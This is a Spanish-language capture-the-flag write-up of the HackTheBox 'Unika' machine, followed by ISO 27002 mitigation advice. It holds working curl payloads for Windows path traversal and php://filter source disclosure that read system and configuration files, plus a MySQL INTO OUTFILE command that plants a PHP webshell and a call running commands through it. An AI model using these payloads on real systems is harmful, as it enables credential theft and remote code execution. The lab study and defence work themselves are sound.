Técnica clave: path traversal (LFI) en Windows con backslashes, lectura de código fuente vía
php://filter, credenciales de la base de datos y webshell a través de MySQL. ⚠️ Flags y credenciales reales redactadas por política del repo.
nmap -sC -sV <IP>
| Puerto | Servicio | Versión | Observación |
|---|---|---|---|
| 80 | http | Apache + PHP | App PHP con index.php |
La app responde con una plantilla que recibe un parámetro page en la URL. Esto huele a inclusión de archivos: el parámetro controla qué archivo se renderiza.
dirsearch -e php,asp,aspx,txt,html y whatweb sin hallazgos relevantes; el foco está en el parámetro page./etc/hosts y se valida el recurso inicial.curl "http://unika.htb/index.php?page=../../../../windows/win.ini"
Primer fallo (importante para el razonamiento): con /../ la app no responde porque el servidor es Windows: el separador de ruta es \, no /. La versión que funciona:
curl "http://unika.htb/index.php?page=..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts"
Por qué funciona: el LFI no sanitiza el parámetro y el backslash atraviesa rutas de estilo Windows (
C:\xampp\htdocs\unika\). Confirmamos server Windows + stack XAMPP (Apache + PHP + MySQL) al leerwin.ini.
El LFI permite leer archivos, pero el exploit real está en recuperar el código PHP para extraer credenciales. Con php://filter podemos leer los archivos en base64, así que la lectura no nos corta el parseo de la página:
curl -s "http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php" \
| grep -oP '(?<=data:base64,)[A-Za-z0-9+/=]+' | base64 -d > index_source.php
El index.php revela que la app incluye archivos de configuración. Siguiendo el mismo patrón, se descargan los candidatos:
curl -s "http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=config.php" | base64 -d
curl -s "http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=db.php" | base64 -d
curl -s "http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=conn.php" | base64 -d
# alternativas por traversal con ruta absoluta
curl -s "http://unika.htb/index.php?page=..\\..\\..\\..\\xampp\\htdocs\\unika\\config.php"
Resultado: el archivo de conexión expone credenciales de MySQL. El siguiente paso es entrar a la base desde localhost con esas credenciales.
Con acceso a MySQL usando las credenciales extraídas:
SELECT CURRENT_USER(); y los permisos de escritura sobre el webroot de XAMPP (C:\xampp\htdocs\unika\).SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE 'C:/xampp/htdocs/unika/shell.php';
curl "http://unika.htb/shell.php?cmd=whoami"
Ya tenemos RCE sobre el proceso de Apache/PHP, adentro del webroot. Desde ahí se extraen las flags (usuario y administrador) y se pasa a la fase defensiva.
Por qué funcionó: MySQL corría con privilegios de escritura sobre el webroot y el motor PHP ejecutaba todo lo invocable por HTTP. Una cadena tonta en apariencia — un LFI "de página web" — se convierte en compromiso total combinando: traversal válido + lectura de código + credenciales de BD + escritura de archivo.
Control que faltaba en la víctima:
- El parámetro page no validaba pertenencia de archivos (no era un "allowlist" de plantillas). Un LFI correctamente mitigado solo incluye un conjunto fijo de archivos, sin entrada de usuario que controle rutas.
- MySQL con permisos de escritura a carpetas del webroot (debería correr sin FILE o con cuenta restringida, jamás como proceso del mismo servidor web).
Cómo lo mitigaría un auditor ISO 27001:
| Control candidate (27002:2022) | Acción concreta |
|---|---|
| 8.28 Codificación segura | Validación de entrada: allowlist de plantillas en page, sin path del usuario, normalización de rutas antes de validar |
| 8.24 Seguridad de puntos de conexión / criptografía | Cifrar credenciales en archivos de configuración (conn.php en claro es evidencia fácil de lectura) |
| 6.8 Seguridad de entornos de desarrollo | Confinar permisos de MySQL (sin INTO OUTFILE a rutas del webroot), mínimos privilegios en el proceso PHP |
| 8.2 Privilegios de acceso | El proceso Apache escritor en su propio webroot + BD escritora al mismo directorio = vector directo a RCE |
LFI (backslash en Windows) → php://filter → credenciales MySQL → webshell → RCE → root
Nota de estado: Unika resuelta y documentada como máquina suelta (fuera del conteo de Start Point); el tier 2 de Start Point quedó cerrado con Base.